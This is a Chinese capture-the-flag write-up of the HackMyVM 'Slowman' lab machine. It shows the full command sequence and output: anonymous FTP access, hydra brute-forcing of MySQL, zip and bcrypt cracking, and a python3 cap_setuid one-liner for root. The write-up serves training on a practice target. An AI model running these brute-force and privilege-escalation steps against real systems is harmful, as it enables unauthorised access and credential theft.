[HackMyVM]靶场 Slowman

kali:192.168.56.104

靶机:192.168.56.132

端口扫描

# nmap 192.168.56.132
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-24 15:28 CST
Nmap scan report for 192.168.56.132
Host is up (0.00066s latency).
Not shown: 995 filtered tcp ports (no-response)
PORT     STATE  SERVICE
20/tcp   closed ftp-data
21/tcp   open   ftp
22/tcp   open   ssh
80/tcp   open   http
3306/tcp open   mysql

开了20 21 22 80 3306端口

21端口匿名登陆,把passive模式关了

# ftp 192.168.56.132
Connected to 192.168.56.132.
220 (vsFTPd 3.0.5)
Name (192.168.56.132:root): anonymous
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||43514|)
^C
receive aborted. Waiting for remote to finish abort.
ftp> passive
Passive mode: off; fallback to active mode: off.
ftp> ls
200 EPRT command successful. Consider using EPSV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              12 Nov 22 21:46 allowedusersmysql.txt
226 Directory send OK.
ftp> get allowedusersmysql.txt
local: allowedusersmysql.txt remote: allowedusersmysql.txt
200 EPRT command successful. Consider using EPSV.
150 Opening BINARY mode data connection for allowedusersmysql.txt (12 bytes).
100% |************************************************************************************************|    12        2.03 KiB/s    00:00 ETA
226 Transfer complete.
12 bytes received in 00:00 (1.70 KiB/s)
ftp> exit
221 Goodbye.

有个txt文件,是sql用户名

# cat allowedusersmysql.txt 
trainerjeff

用hydra爆破登录

# hydra -l trainerjeff -P /usr/share/eaphammer/wordlists/rockyou.txt mysql://192.168.56.132
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-03-24 15:33:03
[INFO] Reduced number of tasks to 4 (mysql does not like many parallel connections)
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344398 login tries (l:1/p:14344398), ~3586100 tries per task
[DATA] attacking mysql://192.168.56.132:3306/
[3306][mysql] host: 192.168.56.132   login: trainerjeff   password: soccer1

爆破出来账号密码是trainerjeff/soccer1

连进去看看

# mysql -u trainerjeff -h 192.168.56.132 -p
Enter password: 
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 1070
Server version: 8.0.35-0ubuntu0.22.04.1 (Ubuntu)Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mysql              |
| performance_schema |
| sys                |
| trainers_db        |
+--------------------+
5 rows in set (0.013 sec)MySQL [(none)]> use trainers_db;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -ADatabase changed
MySQL [trainers_db]> show tables;
+-----------------------+
| Tables_in_trainers_db |
+-----------------------+
| users                 |
+-----------------------+
1 row in set (0.004 sec)MySQL [trainers_db]> select * from users;
+----+-----------------+-------------------------------+
| id | user            | password                      |
+----+-----------------+-------------------------------+
|  1 | gonzalo         | tH1sS2stH3g0nz4l0pAsSWW0rDD!! |
|  2 | $SECRETLOGINURL | /secretLOGIN/login.html       |
+----+-----------------+-------------------------------+

有用户gonzalo的账号密码并且给了登录界面 /secretLOGIN/login.html 

gonzalo/tH1sS2stH3g0nz4l0pAsSWW0rDD!!

进去有压缩包文件

爆破一下

# fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u  credentials.zip PASSWORD FOUND!!!!: pw == spongebob1

一下就爆出来了密码是spongebob1

# unzip credentials.zip 
Archive:  credentials.zip
[credentials.zip] passwords.txt password: inflating: passwords.txt           ┌──(root㉿kali2)-[~/Desktop]
└─# cat passwords.txt        
----------
$USERS: trainerjean$PASSWORD: $2y$10$DBFBehmbO6ktnyGyAtQZNeV/kiNAE.Y3He8cJsvpRxIFEhRAUe1kq 

用john爆破一下这个hash

# john abc.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
tweety1          (?)     
1g 0:00:04:31 DONE 2/3 (2024-03-24 15:50) 0.003681g/s 39.19p/s 39.19c/s 39.19C/s trevor1..unicorn1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

爆破出来密码是tweety1

ssh连接直接拿到user flag,还有一个python历史指令

trainerjean@slowman:~$ cat .python_history 
import os
os.system('bash')
os.system('0')
os.setid('0')
os.setuid('0')
exit

提权应该与python有关

/home下还有两个用户 不过都没权限进去

trainerjean@slowman:~$ ls /home
gonzalo  trainerjean  trainerjeff

想 提权root,尝试了sudo -l,无果,尝试看进程定时任务 无果

linpeas跑一下发现python有capabilities

╔══════════╣ Capabilities
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#capabilities                                                              
Current env capabilities:                                                                                                                    
Current: =
Current proc capabilities:
CapInh: 0000000000000000
CapPrm: 0000000000000000
CapEff: 0000000000000000
CapBnd: 000001ffffffffff
CapAmb: 0000000000000000Parent Shell capabilities:
0x0000000000000000=Files with capabilities (limited to 50):
/snap/core20/2015/usr/bin/ping cap_net_raw=ep
/snap/core20/1974/usr/bin/ping cap_net_raw=ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper cap_net_bind_service,cap_net_admin=ep
/usr/bin/python3.10 cap_setuid=ep
/usr/bin/mtr-packet cap_net_raw=ep
/usr/bin/ping cap_net_raw=ep

那就python的capabilities提权了

trainerjean@slowman:~$ python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# id
uid=0(root) gid=1002(trainerjean) groups=1002(trainerjean)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/767437.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

NX二次开发-调内部函数创建进度条MT_create_progress_bar

一、概述 最近学习NX二次开发&#xff0c;看到NX打开装配模型或者加载模型时会显示进度条的问题&#xff0c;个人觉得很有意思&#xff0c;然后参考阿飞2018中的文章进行学习。 二、代码解析 //User Defined Header File#include <uf.h>#include <uf_ui.h>#includ…

使用 React antd 的ProFormSelect组件 搜索查询 多选的写法

使用 React antd 的ProFormSelect组件 搜索查询 多选的写法 需求&#xff1a;需要一个搜索框&#xff0c;可以选择员工&#xff0c;&#xff08;员工人数多无法一次性获取&#xff0c;全部放入options中&#xff09;&#xff0c;所以需要使用搜索功能&#xff0c;而且是可以多…

redis如何保持持久性

为了保持 Redis 数据的持久性&#xff0c;你可以通过以下几种方式来实现&#xff1a; RDB 持久化&#xff1a; Redis 可以将数据集快照写入磁盘。此方法会在指定的时间间隔内生成数据集的时间点快照&#xff0c;存储到磁盘上。这种持久化方式适用于备份、恢复数据以及灾难恢复…

Linux的相关指令总结

Linux的基本命令 Linux指令是Linux操作系统的核心组成部分&#xff0c;它们为用户和管理员提供了与系统进行交互和管理的强大工具。这些指令涵盖了从基本的文件操作到复杂的系统配置和管理的各个方面。 ls指令 功能&#xff1a;用于列出指定目录中的文件和子目录名称。语法&am…

HarmonyOS NEXT应用开发之ArkWeb同层渲染

介绍 该方案展示了ArkWeb同层渲染&#xff1a;将系统原生组件直接渲染到前端H5页面上&#xff0c;原生组件不仅可以提供H5组件无法实现的一些功能&#xff0c;还能提升用户体验的流畅度 效果图预览 使用说明 进入页面即可看到同层渲染效果&#xff0c;Text&#xff0c;searc…

js知识总结

1. JS由那三部分组成&#xff1f; ECMASript文档对象模型&#xff08;DOM&#xff09;浏览器对象模型&#xff08;BOM&#xff09; 2. 操作数组的方法有那些&#xff1f; 高阶函数&#xff1a;map、filter、forEach、reduce、find、findIndex、every、some、push、unshift、…

数据库系统概论(超详解!!!) 第四节 关系数据库标准语言SQL(Ⅰ)

1.SQL概述 SQL&#xff08;Structured Query Language&#xff09;结构化查询语言&#xff0c;是关系数据库的标准语言 SQL是一个通用的、功能极强的关系数据库语言 SQL的动词 基本概念 基本表 &#xff1a;本身独立存在的表&#xff1b; SQL中一个关系就对应一个基本表&am…

SecureCRT:高效安全的远程连接工具

SecureCRT是一款功能强大的终端仿真工具&#xff0c;主要用于连接和运行包括Windows、UNIX和VMS在内的远程系统。它支持多种协议&#xff0c;如SSH1、SSH2、Telnet、SFTP、Rlogin、Serial、SCP等&#xff0c;确保用户与目标设备之间的通信安全&#xff0c;并防止网络攻击和窥探…

spring-boot解析spring.factories文件

spring-boot解析spring.factories文件 启动SpringBoot自动装配的工厂类方法实现 /*** 解析 spring.factories 文件** return 读取到的所有数据*/private static Map<String, List<String>> loadSpringFactories(ClassLoader classLoader){try {Enumeration<URL…

HTTP系列之HTTP缓存 —— 强缓存和协商缓存

文章目录 HTTP缓存强缓存协商缓存状态码区别缓存优先级如何设置强缓存和协商缓存使用场景 HTTP缓存 HTTP缓存时利用HTTP响应头将所请求的资源在浏览器进行缓存&#xff0c;缓存方式分两种&#xff1a;强缓存和协商缓存。 浏览器缓存是指将之前请求过的资源在浏览器进行缓存&am…

安卓findViewById 的优化方案:ViewBinding与ButterKnife(一)

好多小伙伴现在还用findViewById来获取控件的id, 在这里提供俩种替代方案&#xff1a;ViewBinding与ButterKnife&#xff1b; 先来说说ButterKnife ButterKnife ButterKnife是一个专注于Android系统的View注入框架&#xff0c;在过去的项目中总是需要很多的findViewById来查…

用C++做一个植物大战僵尸

制作一个完整的“植物大战僵尸”游戏是一个非常大的项目&#xff0c;涉及图形渲染、碰撞检测、用户输入处理、音效、动画、游戏逻辑等多个方面。由于这个话题非常广泛&#xff0c;我可以提供一个简化的版本或者一个框架来启动你的项目。 以下是一个简化的框架&#xff0c;帮助…

java 实现发送邮件功能

今天分享一篇 java 发送 QQ 邮件的功能 环境&#xff1a; jdk 1.8 springboot 2.6.3 maven 3.9.6 邮件功能依赖&#xff1a; <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-mail</artifactId>&…

idea打包war包部署到tomcat以及访问路径问题

idea将web项目打包成war最重要的是配置atrificats。 首先打开file -》 project structure 创建之后&#xff0c;output directory即为输出war包的路径。Name可以随意&#xff0c;之后点击绿色&#xff0c;打开directory content 选择webapp目录&#xff0c;记得勾选include in…

Python从入门到精通秘籍十七

一、Python的构造方法 在Python中&#xff0c;构造方法是一个特殊的方法&#xff0c;用于创建和初始化类的实例。构造方法的名称是__init__()&#xff0c;它在创建对象时自动调用。 下面是一个示例代码来详细解释Python的构造方法&#xff1a; class Person:def __init__(se…

(C语言)浮点数在内存中的存储详解

1. 浮点数 常见的浮点数&#xff1a;3.14159、 1E10等 &#xff0c;浮点数家族包括&#xff1a; float、double、long double 类型。 浮点数表示的范围&#xff1a; float.h 中定义. 2. 浮点数的存储 我们先来看一串代码&#xff1a; int main() {int n 9;float* pFloa…

安全工具介绍 SCNR/Arachni

关于SCNR 原来叫Arachni 是开源的&#xff0c;现在是SCNR&#xff0c;商用工具了 可试用一个月 Arachni Web Application Security Scanner Framework 看名字就知道了&#xff0c;针对web app 的安全工具&#xff0c;DASTIAST吧 安装 安装之前先 sudo apt-get update sudo…

嵌入式数据库--SQLite

目录 1. SQLite数据库简介 2. SQLite数据库的安装 方式一&#xff1a; 方式二&#xff1a; 3. SQLite的命令用法 1.创建一个数据库 2.创建一张表 3.删除表 4.插入数据 5. 查询数据 6.删除表内一条数据 7.修改表中的数据 8.增加一列也就是增加一个字段 1. SQLite数据库…

C++ 【深基5.例3】冰雹猜想

文章目录 一、题目描述【深基5.例3】冰雹猜想题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 提示 二、参考代码 一、题目描述 【深基5.例3】冰雹猜想 题目描述 给出一个正整数 n n n&#xff0c;然后对这个数字一直进行下面的操作&#xff1a;如果这个数字是奇数…

LeetCode每日一题——统计桌面上的不同数字

统计桌面上的不同数字OJ链接&#xff1a;2549. 统计桌面上的不同数字 - 力扣&#xff08;LeetCode&#xff09; 题目&#xff1a; 思路&#xff1a; 这是一个很简单的数学问题&#xff1a; 当n 5时&#xff0c;因为n % 4 1&#xff0c;所以下一天4一定会被放上桌面 当n 4…